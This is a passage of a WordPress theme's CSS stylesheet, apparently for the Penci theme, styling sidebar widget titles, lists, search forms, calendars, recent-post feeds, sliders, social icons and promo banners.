	opacity: 0.7;
}
.penci-sidebar-content.style-28 .penci-border-arrow:before {
	right: 14px;
	left: auto;
	opacity: 1;
	margin: 0;
	position: absolute;
}
.penci-sidebar-content.style-28 .penci-border-arrow .inner-arrow:after {
	right: 0;
	left: 0;
	opacity: 1;
	width: calc(100% - 15px);
}
.penci-sidebar-content.style-28 .penci-border-arrow:after {
	right: 0;
	width: 10px;
	left: auto;
}
.penci-homepage-title.style-29.penci-border-arrow,
.penci-homepage-title.style-29 .inner-arrow,
.penci-sidebar-content.style-29 .inner-arrow,
.penci-sidebar-content.style-29 .widget-title {
	border: 0;
	background: 0 0 !important;
	padding-left: 0;
	padding-right: 0;
	margin-left: 0;
	margin-right: 0;
	margin-top: 0;
	padding-top: 0;
}
.penci-homepage-title.style-29:after,
.penci-homepage-title.style-29:before,
.penci-sidebar-content.style-29 .widget-title:after,
.penci-sidebar-content.style-29 .widget-title:before {
	display: none;
}
.penci-sidebar-content.style-29 .widget-title,
.penci-homepage-title.style-29.penci-border-arrow {
	display: block;
}
.penci-sidebar-content.style-29 .inner-arrow,
.penci-homepage-title.style-29.penci-border-arrow .inner-arrow {
	padding-top: 7px;
	background: transparent !important;
}
.penci-homepage-title.style-29 .inner-arrow span,
.penci-sidebar-content.style-29 .widget-title span {
	color: var(--pcheading-cl);
}
.penci-homepage-title.style-29 .inner-arrow > span,
.penci-sidebar-content.style-29 .widget-title > span {
	padding: 0 0 0 20px;
	position: relative;
}
.penci-homepage-title.style-29.pcalign-right .inner-arrow > span,
.penci-sidebar-content.style-29.pcalign-right .widget-title > span {
	padding: 0 20px 0 0;
}
.penci-homepage-title.style-29 .inner-arrow > span:before,
.penci-sidebar-content.style-29 .widget-title > span:before {
	content: "";
	width: 10px;
	height: 3px;
	background: var(--pcaccent-cl);
	position: absolute;
	top: 0;
	left: 0;
}
.penci-homepage-title.style-29 .inner-arrow > span:after,
.penci-sidebar-content.style-29 .widget-title > span:after {
	content: "";
	width: 3px;
	height: 10px;
	background: var(--pcaccent-cl);
	position: absolute;
	top: 0;
	left: 0;
}
.penci-sidebar-content.style-29.pcalign-right .widget-title > span:before,
.penci-homepage-title.style-29.pcalign-right .inner-arrow > span:before {
	left: auto;
	right: 0;
}
.penci-sidebar-content.style-29.pcalign-right .widget-title > span:after,
.penci-homepage-title.style-29.pcalign-right .inner-arrow > span:after {
	left: auto;
	right: 0;
}
.penci-homepage-title.style-30.penci-border-arrow,
.penci-homepage-title.style-30 .inner-arrow,
.penci-sidebar-content.style-30 .inner-arrow,
.penci-sidebar-content.style-30 .widget-title {
	border: 0;
	background: 0 0;
	padding-left: 0;
	padding-right: 0;
	margin-left: 0;
	margin-right: 0;
	margin-top: 0;
	padding-top: 0;
}
.penci-homepage-title.style-30:after,
.penci-homepage-title.style-30:before,
.penci-sidebar-content.style-30 .widget-title:after,
.penci-sidebar-content.style-30 .widget-title:before {
	display: none;
}
.penci-sidebar-content.style-30 .widget-title,
.penci-homepage-title.style-30.penci-border-arrow {
	display: block;
}
.penci-sidebar-content.style-30 .inner-arrow,
.penci-homepage-title.style-30.penci-border-arrow .inner-arrow {
	padding-top: 0;
	background: transparent;
}
.penci-homepage-title.style-30 .inner-arrow > span,
.penci-sidebar-content.style-30 .widget-title > span {
	color: #fff;
	background: var(--pcaccent-cl);
	display: inline-block;
	padding: 5px 10px;
	transform: skewX(-15deg);
	z-index: 2;
	position: relative;
}
.penci-sidebar-content.style-30 .widget-title:before,
.penci-homepage-title.style-30:before {
	display: block;
	border: 0;
	width: calc(100% - 5px);
	height: 1px;
	background: var(--pcborder-cl);
	left: 5px;
	right: 0;
	top: 50%;
	transform: translateY(-50%);
	z-index: 1;
}
.penciel-bheading .inner-arrow span {
	display: inline-flex;
	align-items: center;
}
.widget ol,
.widget ul {
	list-style: none
}
.penci-block-popular-cat ul {
	padding-left: 0
}
.widget ol ol,
.widget ul ul {
	padding-top: 11px;
	margin-top: 12px;
	border-top: 1px solid var(--pcborder-cl);
	padding-left: 20px
}
.widget ol li,
.widget ul li {
	margin-bottom: 11px;
	padding-bottom: 12px;
	border-bottom: 1px solid var(--pcborder-cl);
	font-size: 14px;
	color: #888
}
.widget ol>li:last-child,
.widget ul>li:last-child {
	margin-bottom: 0;
	padding-bottom: 0;
	border-bottom: none
}
.widget ol li a,
.widget ul li a {
	font-size: 14px;
	font-style: normal;
	line-height: 1.4
}
.widget a {
	color: var(--pctext-cl)
}
.widget a:hover {
	color: var(--pcaccent-cl);
	text-decoration: underline
}
.widget.widget_archive label.screen-reader-text,
.widget.widget_categories label.screen-reader-text {
	display: none
}
.widget .screen-reader-text {
	display: block;
	margin: 0 0 10px 0;
	font-size: 14px
}
.widget select {
	padding: 2px;
	line-height: 32px;
	min-height: 32px;
	vertical-align: middle;
	border-spacing: 0;
	clear: both;
	margin: 0;
	font-size: 14px;
	width: 100%;
	max-width: 360px;
	outline: 0
}
.pc-widget-advanced-tax.tax-style-1 ul li,
.widget.widget_archive ul li,
.widget.widget_categories ul li {
	text-align: right;
	color: #888;
	display: table;
	width: 100%;
	font-style: italic;
	padding-right: 0
}
.pc-widget-advanced-tax.tax-style-1 ul li,
.widget.widget_categories ul li {
	text-align: left
}
.widget.widget_archive ul li a {
	float: left
}
.pc-widget-advanced-tax.tax-style-1 ul li a,
.widget.widget_categories ul li a {
	display: block !important;
	text-decoration: none
}
.pc-widget-advanced-tax.tax-style-1 ul li a:before,
.widget.widget_archive ul li a:before,
.widget.widget_categories ul li a:before {
	content: "\f105";
	font-family: FontAwesome;
	display: inline-block;
	margin-right: 10px;
	font-size: 90%
}
.penci-fawesome-ver5 .widget.widget_archive ul li a:before,
.penci-fawesome-ver5 .widget.widget_categories ul li a:before {
	font-family: "Font Awesome 5 Free";
	font-weight: 900
}
.pc-widget-advanced-tax.tax-style-1 ul li span.category-item-count,
.widget.widget_categories ul li span.category-item-count {
	float: right;
	font-style: normal;
	color: #888;
	font-family: var(--pcbody-font);
	font-weight: 400
}
form.pc-searchform {
	position: relative
}
form.pc-searchform input.search-input {
	border: 1px solid #e9e9e9;
	background: 0 0;
	padding: 12px 40px 12px 20px;
	color: #313131;
	font-size: 13px;
	font-family: var(--pcbody-font);
	font-weight: 400;
	width: 100%
}
form.pc-searchform i {
	position: absolute;
	color: var(--pctext-cl);
	top: 50%;
	transform: translateY(-50%);
	-webkit-transform: translateY(-50%);
	right: 20px;
	z-index: 1;
	font-size: 15px;
	opacity: .9
}
form.pc-searchform #s:focus {
	outline: 0
}
.penci-sidebar-content .widget form.pc-searchform input.search-input,
.widget form.pc-searchform input.search-input {
	width: 100%;
	max-width: 100%;
	background-color: transparent;
	margin-bottom: 0
}
.penci-about-me .about-widget,
.widget .about-widget {
	text-align: center
}
.penci-about-me .about-widget.pc_alignleft,
.widget .about-widget.pc_alignleft {
	text-align: left
}
.penci-about-me .about-widget.pc_alignright,
.widget .about-widget.pc_alignright {
	text-align: right
}
.about-widget img {
	max-width: 100% !important;
	height: auto;
	margin-bottom: 20px;
	width: 100%
}
.about-widget .about-me-heading {
	color: #313131;
	font-size: 18px;
	font-family: var(--pcbody-font);
	font-weight: 700;
	padding-bottom: 16px;
	line-height: 1.3;
	margin-bottom: 19px;
	position: relative
}
.about-widget .about-me-heading:before {
	content: "";
	display: inline-block;
	width: 60px;
	position: absolute;
	margin-left: -30px;
	left: 50%;
	bottom: 0;
	border-top: 1px solid var(--pcaccent-cl)
}
.about-widget.pc_alignleft .about-me-heading:before {
	margin: 0;
	left: 0
}
.about-widget.pc_alignright .about-me-heading:before {
	margin: 0;
	left: auto;
	right: 0
}
.pc-widget-advanced-tax.tax-style-2 a,
.widget .tagcloud a {
	text-transform: uppercase;
	background: #fff;
	color: #999;
	padding: 6px 12px 5px;
	margin-right: 5px;
	margin-bottom: 8px;
	display: inline-block;
	font-size: 11px;
	background: 0 0;
	border: 1px solid #dedede;
	transition: all .3s;
	-webkit-transition: all .3s;
	-moz-transition: all .3s;
	outline: 0;
	font-weight: 400;
	line-height: 1.2
}
.widget .tagcloud a {
	font-size: 11px !important;
}
.pc-widget-advanced-tax.tax-style-2 a {
	display: inline-flex;
  	align-items: center;
}
.pc-widget-advanced-tax.tax-style-3 select {
	padding-left: 10px;
	padding-right: 10px;
}
.pc-widget-advanced-tax.tax-style-2 .tag-link-count {
	margin-left: 3px;
}
.pc-widget-advanced-tax.tax-style-2 a:hover,
.widget .tagcloud a:hover {
	color: #fff;
	background: var(--pcaccent-cl);
	border-color: var(--pcaccent-cl);
	text-decoration: none
}
#wp-calendar {
	width: 100%
}
#wp-calendar caption {
	text-align: center;
	color: #777;
	font-size: 14px;
	margin-top: 10px;
	margin-bottom: 10px;
	font-weight: 700
}
.post-entry #wp-calendar caption {
	font-size: 16px;
	margin-bottom: 10px;
	color: inherit
}
#wp-calendar thead {
	font-size: 12px
}
#wp-calendar thead th {
	padding-bottom: 10px
}
#wp-calendar tbody {
	color: #aaa
}
#wp-calendar tbody td {
	background: #f5f5f5;
	border: 1px solid #fff;
	text-align: center;
	padding: 8px
}
#wp-calendar tbody td a {
	font-weight: 700;
	color: #222
}
#wp-calendar tbody td:hover {
	background: #fff
}
#wp-calendar tbody .pad {
	background: 0 0
}
#wp-calendar tfoot #next {
	font-size: 11px;
	text-transform: uppercase;
	text-align: right
}
#wp-calendar tfoot #prev {
	font-size: 12px;
	text-transform: uppercase;
	padding-top: 15px
}
#wp-calendar thead th {
	padding-bottom: 10px;
	text-align: center
}
.wp-calendar-nav {
	margin-top: 10px
}
.post-entry .wp-calendar-nav {
	margin-bottom: 20px;
	margin-top: 0
}
.wp-block-calendar a {
	text-decoration: none
}
.wp-block-search__inside-wrapper {
	display: flex;
	flex: auto;
	flex-wrap: nowrap;
	max-width: 100%
}
.widgettitle {
	margin-bottom: 10px
}
.penci_recent-posts-sc ul.side-newsfeed {
	padding: 0;
	margin: 0
}
.penci_recent-posts-sc ul.side-newsfeed:after,
.penci_recent-posts-sc ul.side-newsfeed:before,
.widget ul.side-newsfeed:after,
.widget ul.side-newsfeed:before {
	display: table;
	content: "";
	clear: both;
	line-height: 0
}
.penci_recent-posts-sc ul.side-newsfeed li {
	border-bottom: 1px solid #dedede;
	font-size: 14px;
	color: #888
}
.penci_recent-posts-sc ul.side-newsfeed li,
.widget ul.side-newsfeed li {
	list-style-type: none;
	margin-bottom: 20px;
	padding-bottom: 20px;
	margin-left: 0;
	position: relative
}
.side-newsfeed.penci-vscroll .js-marquee-wrapper .js-marquee {
	border-bottom: 1px solid var(--pcborder-cl);
	padding-bottom: 20px;
	margin-bottom: 20px;
}
ul.side-newsfeed.penci-rcpw-hborders li {
	padding-bottom: 0 !important;
	border-bottom: none !important
}
.penci_recent-posts-sc ul.penci-feed-2columns li,
.widget ul.penci-feed-2columns li {
	width: 47%;
	float: left;
	padding-bottom: 0;
	margin-bottom: 20px;
	border-bottom: none
}
.penci_recent-posts-sc ul.penci-feed-2columns.display-order-numbers li,
.widget ul.penci-feed-2columns.display-order-numbers li {
	margin-bottom: 30px
}
.penci_recent-posts-sc ul.penci-2columns-feed>li:nth-child(2n+1),
.widget ul.penci-2columns-feed>li:nth-child(2n+1) {
	clear: both;
	margin-right: 6%
}
.penci_recent-posts-sc ul.penci-2columns-featured>li:nth-child(2n),
.widget ul.penci-2columns-featured>li:nth-child(2n) {
	clear: both;
	margin-right: 6%
}
.penci_recent-posts-sc ul.side-newsfeed li:last-child,
.penci_recent-posts-sc ul.side-newsfeed.penci-feed-2columns li:nth-last-child(2),
.widget ul.side-newsfeed li:last-child,
.widget ul.side-newsfeed.penci-feed-2columns li:nth-last-child(2) {
	margin-bottom: 0 !important;
	padding-bottom: 0 !important
}
.penci_recent-posts-sc ul.side-newsfeed li:last-child {
	border-bottom: 0 !important
}
.penci_recent-posts-sc ul.side-newsfeed li .side-item,
.widget ul.side-newsfeed li .side-item {
	overflow: hidden;
	position: relative
}
.penci_recent-posts-sc ul.side-newsfeed li .side-item .side-image,
.widget ul.side-newsfeed li .side-item .side-image {
	float: left;
	margin-right: 20px;
	position: relative
}
.penci_recent-posts-sc ul.side-newsfeed li .side-item .side-image.thumbnail-right,
.widget ul.side-newsfeed li .side-item .side-image.thumbnail-right {
	float: right;
	margin-right: 0;
	margin-left: 20px
}
.penci_recent-posts-sc ul.penci-feed-2columns li .side-item .side-image,
.penci_recent-posts-sc ul.penci-feed-2columns li .side-item .side-image.thumbnail-right,
.widget ul.penci-feed-2columns li .side-item .side-image,
.widget ul.penci-feed-2columns li .side-item .side-image.thumbnail-right {
	width: 100%;
	margin: 0 0 16px 0;
	float: none !important
}
.penci_recent-posts-sc ul.side-newsfeed li .side-item .side-image a,
.widget ul.side-newsfeed li .side-item .side-image a {
	transition: opacity .3s;
	-webkit-transition: opacity .3s;
	-moz-transition: opacity .3s
}
.penci_recent-posts-sc ul.side-newsfeed li .side-item .side-image a:hover,
.widget ul.side-newsfeed li .side-item .side-image a:hover {
	opacity: .8
}
.penci_recent-posts-sc ul.side-newsfeed li .side-item .side-image a span.count-post,
.widget ul.side-newsfeed li .side-item .side-image a span.count-post {
	position: absolute;
	z-index: 2;
	bottom: 10px;
	left: 10px;
	display: inline-block;
	background: #fff;
	color: #010101;
	width: 30px;
	height: 30px;
	line-height: 30px;
	font-size: 16px;
	text-align: center;
	border-radius: 50%;
	-webkit-border-radius: 50%;
	-moz-border-radius: 50%
}
.penci_recent-posts-sc ul.side-newsfeed li .side-item .side-image img,
.widget ul.side-newsfeed li .side-item .side-image img {
	width: 120px;
	height: auto
}
.penci_recent-posts-sc ul.penci-feed-2columns li .side-item .side-image .small-fix-size,
.widget ul.penci-feed-2columns li .side-item .side-image .small-fix-size {
	width: 100%
}
.penci_recent-posts-sc ul.side-newsfeed li .side-item .side-item-text,
.widget ul.side-newsfeed li .side-item .side-item-text {
	overflow: hidden
}
.penci_recent-posts-sc ul.penci-feed-2columns li .side-item .side-item-text,
.widget ul.penci-feed-2columns li .side-item .side-item-text {
	display: block
}
.penci_recent-posts-sc ul.side-newsfeed li .side-item .side-item-text h4,
.widget ul.side-newsfeed li .side-item .side-item-text h4 {
	margin-bottom: 0
}
.penci_recent-posts-sc ul.side-newsfeed li .side-item .side-item-text h4 a,
.widget ul.side-newsfeed li .side-item .side-item-text h4 a {
	margin-bottom: 0;
	color: var(--pcheading-cl);
	display: block;
	font-size: 16px;
	transition: all .3s;
	-webkit-transition: all .3s;
	-moz-transition: all .3s;
	letter-spacing: 0;
	line-height: 1.4
}
.penci_recent-posts-sc ul.penci-feed-2columns li .side-item .side-item-text h4 a,
.widget ul.penci-feed-2columns li .side-item .side-item-text h4 a {
	font-size: 14px;
	margin-bottom: 2px
}
.penci_recent-posts-sc ul.side-newsfeed li .side-item .side-item-text h4 a:hover,
.widget ul.side-newsfeed li .side-item .side-item-text h4 a:hover {
	color: var(--pcaccent-cl);
	text-decoration: none
}
.penci_recent-posts-sc ul.side-newsfeed li .side-item .side-item-text .side-item-meta,
.widget ul.side-newsfeed li .side-item .side-item-text .side-item-meta {
	letter-spacing: 0;
	color: #888;
	font-family: inherit;
	font-size: 13px
}
.widget ul.side-newsfeed li .side-item .side-item-text .side-item-meta a {
	color: var(--pctext-cl);
	font-size: inherit
}
.widget ul.side-newsfeed li .side-item .side-item-text .side-item-meta a:hover {
	color: var(--pcaccent-cl)
}
ul.side-newsfeed li .grid-post-box-meta.penci-side-item-meta {
	margin-top: 5px;
	line-height: 1.2
}
ul.side-newsfeed li .grid-post-box-meta.penci-side-item-meta.pcsnmt-above {
	margin: 0 0 5px 0
}
.penci_recent-posts-sc ul.side-newsfeed li.featured-news,
.widget ul.side-newsfeed li.featured-news {
	width: 100% !important;
	margin-right: 0
}
.penci_recent-posts-sc ul.side-newsfeed li.featured-news.all-featured-news,
.widget ul.side-newsfeed li.featured-news.all-featured-news {
	border-bottom: none;
	margin-bottom: 0;
	padding-bottom: 26px
}
.penci_recent-posts-sc ul.side-newsfeed li.featured-news .side-image,
.widget ul.side-newsfeed li.featured-news .side-image {
	float: none !important;
	margin: 0 0 12px 0 !important
}
.penci_recent-posts-sc ul.side-newsfeed li.featured-news .side-image img,
.widget ul.side-newsfeed li.featured-news .side-image img {
	width: 100% !important
}
.penci_recent-posts-sc ul.side-newsfeed li.featured-news .side-item .side-item-text h4 a,
.widget ul.side-newsfeed li.featured-news .side-item .side-item-text h4 a {
	font-size: 18px;
	margin-bottom: 6px
}
.penci_recent-posts-sc .penci-feed-excerpt,
.widget .penci-feed-excerpt {
	margin-top: 16px
}
.penci_recent-posts-sc ul.side-newsfeed li.featured-news2 .side-item .side-item-text,
.widget ul.side-newsfeed li.featured-news2 .side-item .side-item-text {
	position: absolute;
	z-index: 1;
	bottom: 12px;
	padding: 15px 10px 0 20px;
	left: 20px;
	right: 20px;
	background: #fff
}
.penci_recent-posts-sc ul.side-newsfeed li.featured-news2.all-featured-news .side-item .side-item-text,
.widget ul.side-newsfeed li.featured-news2.all-featured-news .side-item .side-item-text {
	padding-left: 10px
}
.penci_recent-posts-sc ul.side-newsfeed li .order-border-number,
.widget ul.side-newsfeed li .order-border-number {
	position: absolute;
	left: 5px;
	top: -15px;
	background-color: rgba(255, 255, 255, .3);
	box-shadow: 0 1px 2px 0 rgba(0, 0, 0, .25);
	display: inline-block;
	vertical-align: middle;
	width: 30px;
	height: 30px;
	line-height: 28px;
	border-radius: 50%;
	z-index: 6;
	text-align: center
}
.penci_recent-posts-sc ul.side-newsfeed li .order-border-number.right-side,
.widget ul.side-newsfeed li .order-border-number.right-side {
	left: auto;
	right: 5px
}
.penci_recent-posts-sc ul.side-newsfeed li.featured-news .order-border-number.right-side,
.widget ul.side-newsfeed li.featured-news .order-border-number.right-side {
	left: 15px;
	right: auto
}
.penci_recent-posts-sc ul.side-newsfeed li .number-post,
.widget ul.side-newsfeed li .number-post {
	background-color: #383838;
	border-radius: 50%;
	width: 26px;
	height: 26px;
	line-height: 28px;
	text-align: center;
	display: inline-block;
	vertical-align: middle;
	color: #fff;
	font-size: 12px;
	font-family: var(--pchead-font);
	font-weight: 600;
	z-index: 3
}
.penci_recent-posts-sc ul.side-newsfeed li.featured-news .order-border-number,
.widget ul.side-newsfeed li.featured-news .order-border-number {
	width: 40px;
	height: 40px;
	line-height: 38px
}
.penci_recent-posts-sc ul.side-newsfeed li.featured-news .number-post,
.widget ul.side-newsfeed li.featured-news .number-post {
	width: 36px;
	height: 36px;
	line-height: 38px;
	font-size: 16px
}
.side-newsfeed.pctlst {
	padding-left: 20px !important;
	border-left: 1px solid;
	border-color: var(--pcborder-cl);
	margin-left: 5px !important
}
.side-newsfeed.pctlst .penci-feed:after,
.side-newsfeed.pctlst .penci-feed:before {
	width: 9px;
	height: 9px;
	left: -25px;
	display: inline-block;
	top: 0;
	transition: all .3s;
	background: var(--pcaccent-cl);
	position: absolute;
	border-radius: 50%;
	z-index: 2
}
.side-newsfeed.pctlst .penci-feed:before {
	content: "";
	z-index: 1
}
.side-newsfeed.pctlst.penci-2columns-featured>.penci-feed:not(.featured-news):nth-child(2n+1):after,
.side-newsfeed.pctlst.penci-2columns-featured>.penci-feed:not(.featured-news):nth-child(2n+1):before,
.side-newsfeed.pctlst.penci-2columns-feed>.penci-feed:nth-child(2n):after,
.side-newsfeed.pctlst.penci-2columns-feed>.penci-feed:nth-child(2n):before {
	content: none
}
@keyframes pencisonar {
	0% {
		opacity: 0;
		transform: scale(.2)
	}
	50% {
		opacity: .9
	}
	100% {
		opacity: 0;
		transform: scale(1)
	}
}
.side-newsfeed.pctlst.pctl-s2 .penci-feed:before,
.side-newsfeed.pctlst.pctl-s3 .penci-feed:before {
	background: var(--pcborder-cl)
}
.side-newsfeed.pctlst.pctl-s2 .penci-feed:hover:before {
	background: var(--pcaccent-cl)
}
.side-newsfeed.pctlst.pctl-s3 .penci-feed:after {
	content: "";
	background: var(--pcaccent-cl);
	animation: pencisonar 1.5s ease infinite
}
.penci-widget-slider {
	width: 100%
}
.widget .penci-widget-slider .penci-slide-widget {
	margin: 0;
	padding: 0;
	border-bottom: none
}
.widget .penci-widget-slider .penci-slide-widget:after,
.widget .penci-widget-slider .penci-slide-widget:before {
	content: none;
	display: none
}
.penci-widget-slider .penci-slide-content {
	position: relative;
	text-align: center
}
.penci-widget-slider-overlay {
	position: absolute;
	top: 0;
	left: 0;
	width: 100%;
	height: 100%;
	background: #000;
	opacity: .3;
	transition: opacity .25s ease;
	-webkit-transition: opacity .25s ease;
	-moz-transition: opacity .25s ease;
	z-index: 2
}
.penci-widget-slider .penci-widget-slide-detail {
	position: absolute;
	top: 50%;
	left: 25px;
	right: 25px;
	transform: translateY(-50%);
	-webkit-transform: translateY(-50%);
	-moz-transform: translateY(-50%);
	z-index: 5
}
.penci_post-slider-sc .penci-post-slider-style-1 .penci-widget-slide-detail h4 a,
.penci_post-slider-sc .penci-post-slider-style-2 .penci-widget-slide-detail h4 a,
.widget .penci-widget-slider .penci-widget-slide-detail h4 a {
	color: #fff;
	font-size: 18px;
	text-decoration: none;
	letter-spacing: 0
}
.penci_post-slider-sc .penci-post-slider-style-3 .penci-widget-slide-detail h4 a {
	color: #313131
}
.penci-widget-slide-detail .slide-item-date {
	color: #fff;
	display: block;
	margin-top: 5px;
	font-size: 13px
}
.penci-owl-carousel.penci-widget-slider.penci-post-slider-style-1 .penci-owl-nav .owl-next,
.penci-owl-carousel.penci-widget-slider.penci-post-slider-style-1 .penci-owl-nav .owl-prev,
.penci-owl-carousel.penci-widget-slider.penci-post-slider-style-2 .penci-owl-nav .owl-next,
.penci-owl-carousel.penci-widget-slider.penci-post-slider-style-2 .penci-owl-nav .owl-prev {
	width: 16px;
	border-radius: 0;
	-webkit-border-radius: 0;
	-moz-border-radius: 0;
	background: 0 0;
	color: #fff;
	font-size: 16px
}
.penci-owl-carousel.penci-widget-slider.penci-post-slider-style-1 .penci-owl-nav .owl-prev,
.penci-owl-carousel.penci-widget-slider.penci-post-slider-style-2 .penci-owl-nav .owl-prev {
	left: 10px
}
.penci-owl-carousel.penci-widget-slider.penci-post-slider-style-1 .penci-owl-nav .owl-next,
.penci-owl-carousel.penci-widget-slider.penci-post-slider-style-2 .penci-owl-nav .owl-next {
	right: 10px
}
.penci-widget-slider.penci-post-slider-style-2 .penci-slide-content,
.penci-widget-slider.penci-post-slider-style-3 .penci-slide-content {
	text-align: left
}
.penci-widget-slider.penci-post-slider-style-2 .penci-widget-slide-detail {
	transform: none;
	-webkit-transform: none;
	-moz-transform: none;
	top: auto;
	bottom: 20px
}
.penci-post-slider-style-2 .penci-widget-slider-overlay {
	background: -moz-linear-gradient(top, transparent 0, #000 100%);
	background: -webkit-linear-gradient(top, transparent 0, #000 100%);
	background: -o-linear-gradient(top, transparent 0, #000 100%);
	background: -ms-linear-gradient(top, transparent 0, #000 100%);
	background: linear-gradient(to bottom, transparent 0, #000 100%);
	-webkit-transition: opacity .4s ease 0s;
	-moz-transition: opacity .4s ease 0s;
	-o-transition: opacity .4s ease 0s;
	transition: opacity .4s ease 0s;
	opacity: .7
}
.penci-post-slider-style-2 .penci-slide-widget:hover .penci-widget-slider-overlay {
	opacity: .9
}
.penci-widget-slider.penci-post-slider-style-3 .penci-widget-slide-detail {
	transform: none;
	-webkit-transform: none;
	-moz-transform: none;
	position: static;
	margin-top: 16px
}
.widget .penci-widget-slider.penci-post-slider-style-3 .penci-widget-slide-detail h4 a {
	color: inherit;
	transition: all .3s;
	-webkit-transition: all .3s;
	-moz-transition: all .3s
}
.widget .penci-widget-slider.penci-post-slider-style-3 .penci-widget-slide-detail h4 a:hover {
	opacity: .8
}
.penci-post-slider-style-3 .penci-widget-slide-detail .slide-item-date {
	color: #888
}
.widget-social {
	text-align: center;
	display: table;
	width: 100%;
	font-size: 0;
}
.widget-social.pc_alignleft {
	text-align: left
}
.widget-social.pc_alignright {
	text-align: right
}
.widget-social.pc_alignleft>a:first-child i {
	margin-left: 0
}
.widget-social.pc_alignright>a:last-child i {
	margin-right: 0
}
@media only screen and (max-width:767px) {
	.pcfb-wrapper .widget-social.pc_alignleft,
	.pcfb-wrapper .widget-social.pc_alignright {
		text-align: center
	}
}
.widget-social.show-text {
	margin-left: -5px
}
.widget-social a i {
	width: 36px;
	height: 36px;
	line-height: 34px;
	background: 0 0;
	color: #313131;
	border: 1px solid #e0e0e0;
	border-radius: 50%;
	-webkit-border-radius: 50%;
	-moz-border-radius: 50%;
	margin: 0 5px 5px 0px;
	display: inline-block;
	font-size: 14px;
	-webkit-transition: all .2s ease-in-out;
	-moz-transition: all .2s ease-in-out;
	-o-transition: all .2s ease-in-out;
	transition: all .2s ease-in-out;
	text-align: center
}
.widget-social.show-text a i {
	margin-bottom: 0
}
.widget-social a:hover {
	text-decoration: none !important
}
.widget-social a:hover i {
	text-decoration: none;
	color: #fff;
	background: var(--pcaccent-cl);
	border-color: var(--pcaccent-cl)
}
.widget-social a span {
	display: none
}
.widget-social a:first-child {
	margin-left: 0
}
.widget-social a:last-child {
	margin-right: 0
}
.widget-social.show-text {
	display: flex;
	flex-wrap: wrap;
	justify-content: space-between;
	flex-direction: row;
	margin-left: 0;
}
.widget-social.show-text>a {
	width: 49%;
	text-align: left;
	margin-bottom: 10px;
	text-decoration: none;
	display: flex;
	justify-items: center;
	flex-wrap: wrap;
	flex-direction: row;
	align-items: center;
}
.widget-social.show-text>a:nth-child(2n+1) {
	clear: both
}
.widget-social.show-text a span {
	display: inline-block;
	color: #313131;
	text-transform: uppercase;
	font-size: 13px;
	margin-left: 5px;
	font-family: var(--pchead-font);
	font-weight: var(--pchead-wei);
	letter-spacing: 0;
	transition: color .3s;
	-webkit-transition: color .3s;
	-moz-transition: color .3s;
	line-height: 20px
}
.widget-social.show-text.remove-uppercase-text a span {
	text-transform: none
}
.widget-social.show-text a:hover span {
	color: var(--pcaccent-cl)
}
.widget-social.remove-circle a i {
	width: auto;
	height: auto;
	line-height: 20px;
	background: 0 0 !important;
	border: none !important
}
.widget-social.remove-circle a:hover i {
	color: var(--pcaccent-cl)
}
.widget-social.remove-circle a span {
	line-height: 20px;
	margin-left: 5px
}
.widget-social.remove-circle:not(.show-text) a i {
	margin: 0 7px 5px
}
.widget-social.penci-social-colored a i {
	border: none !important;
	line-height: 36px;
	color: #fff !important
}
.widget-social.penci-social-colored a:hover i {
	opacity: .85
}
.widget-social.remove-border-radius a i {
	border-radius: 0;
	-webkit-border-radius: 0;
	-moz-border-radius: 0
}
.quote-widget {
	position: relative;
	display: block
}
.quote-widget>i {
	color: #999;
	position: absolute;
	top: 0;
	left: 0;
	font-size: 22px
}
.quote-widget>p {
	padding-left: 40px
}
.footer-widget-wrapper .quote-widget>i {
	font-size: 24px
}
.footer-widget-wrapper .quote-widget>p {
	padding-left: 42px
}
.penci-pinterest-widget-container {
	margin: -5px -5px 0 -5px
}
.penci-images-pin-widget:after,
.penci-images-pin-widget:before {
	display: table;
	clear: both;
	content: ""
}
.penci-pinterest-widget-container .penci-images-pin-widget a {
	width: 33.3333%;
	display: inline-block;
	padding: 5px;
	transition: opacity .2s;
	-webkit-transition: opacity .2s;
	-moz-transition: opacity .2s;
	position: relative;
	float: left;
	vertical-align: top
}
.penci-pinterest-widget-container .penci-images-pin-widget a .penci-image-holder {
	border-radius: 0;
	-webkit-border-radius: 0
}
.penci-pinterest-widget-container .penci-images-pin-widget a:hover {
	opacity: .8
}
.penci-pinterest-widget-container .penci-images-pin-widget a:after,
.penci-pinterest-widget-container .penci-images-pin-widget a:before {
	position: absolute;
	top: 10px;
	right: 10px;
	bottom: 10px;
	left: 10px;
	content: "";
	opacity: 0;
	-webkit-transition: opacity .35s, -webkit-transform .35s;
	transition: opacity .35s, transform .35s;
	z-index: 1
}
.penci-pinterest-widget-container .penci-images-pin-widget a:before {
	border-top: 1px solid #fff;
	border-bottom: 1px solid #fff;
	-webkit-transform: scale(0, 1);
	transform: scale(0, 1)
}
.penci-pinterest-widget-container .penci-images-pin-widget a:after {
	border-right: 1px solid #fff;
	border-left: 1px solid #fff;
	-webkit-transform: scale(1, 0);
	transform: scale(1, 0)
}
.penci-pinterest-widget-container .penci-images-pin-widget a:hover:after,
.penci-pinterest-widget-container .penci-images-pin-widget a:hover:before {
	opacity: 1;
	-webkit-transform: scale(1);
	transform: scale(1)
}
.penci-pinterest-widget-container .pin_link {
	text-align: center;
	margin-top: 20px
}
.penci-pinterest-widget-container.penci-loading .pin_link {
	clear: both;
	display: block
}
.penci-pinterest-widget-container .pin_link a {
	font-style: italic;
	color: #999;
	font-size: 16px
}
.penci-list-banner {
	display: block
}
.penci-promo-item {
	position: relative;
	width: 100%;
	margin: 0 0 25px 0;
	background-repeat: no-repeat;
	background-position: center center;
	background-size: cover;
	-webkit-background-size: cover;
	-moz-background-size: cover;
	-o-background-size: cover;
	background-color: #ccc
}
.penci-list-banner .penci-promo-item:last-child {
	margin-bottom: 0
}
.penci-promo-item.penci-banner-crop {
	padding-bottom: 56%
}
.penci-promo-item.penci-banner-has-text:after {
	position: absolute;
	left: 10px;
	right: 10px;
	top: 10px;
	bottom: 10px;
	content: "";
	-webkit-transition: all .4s;
	transition: all .4s;
	z-index: 5;
	border: 1px solid #fff;
	opacity: .4
}
.penci-promo-item.penci-banner-has-text:hover:after {
	opacity: 1
}
.penci-promo-url {
	position: absolute;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	z-index: 100;
	background: 0 0 !important
}
.penci-promo-text {
	position: absolute;
	display: block;
	top: 50%;
	width: 100%;
	-webkit-transform: translateY(-50%);
	-ms-transform: translateY(-50%);
	transform: translateY(-50%);
	padding: 0 10px;
	left: 0;
	z-index: 1;
	text-align: center
}
.penci-promo-text h4 {
	text-transform: uppercase;
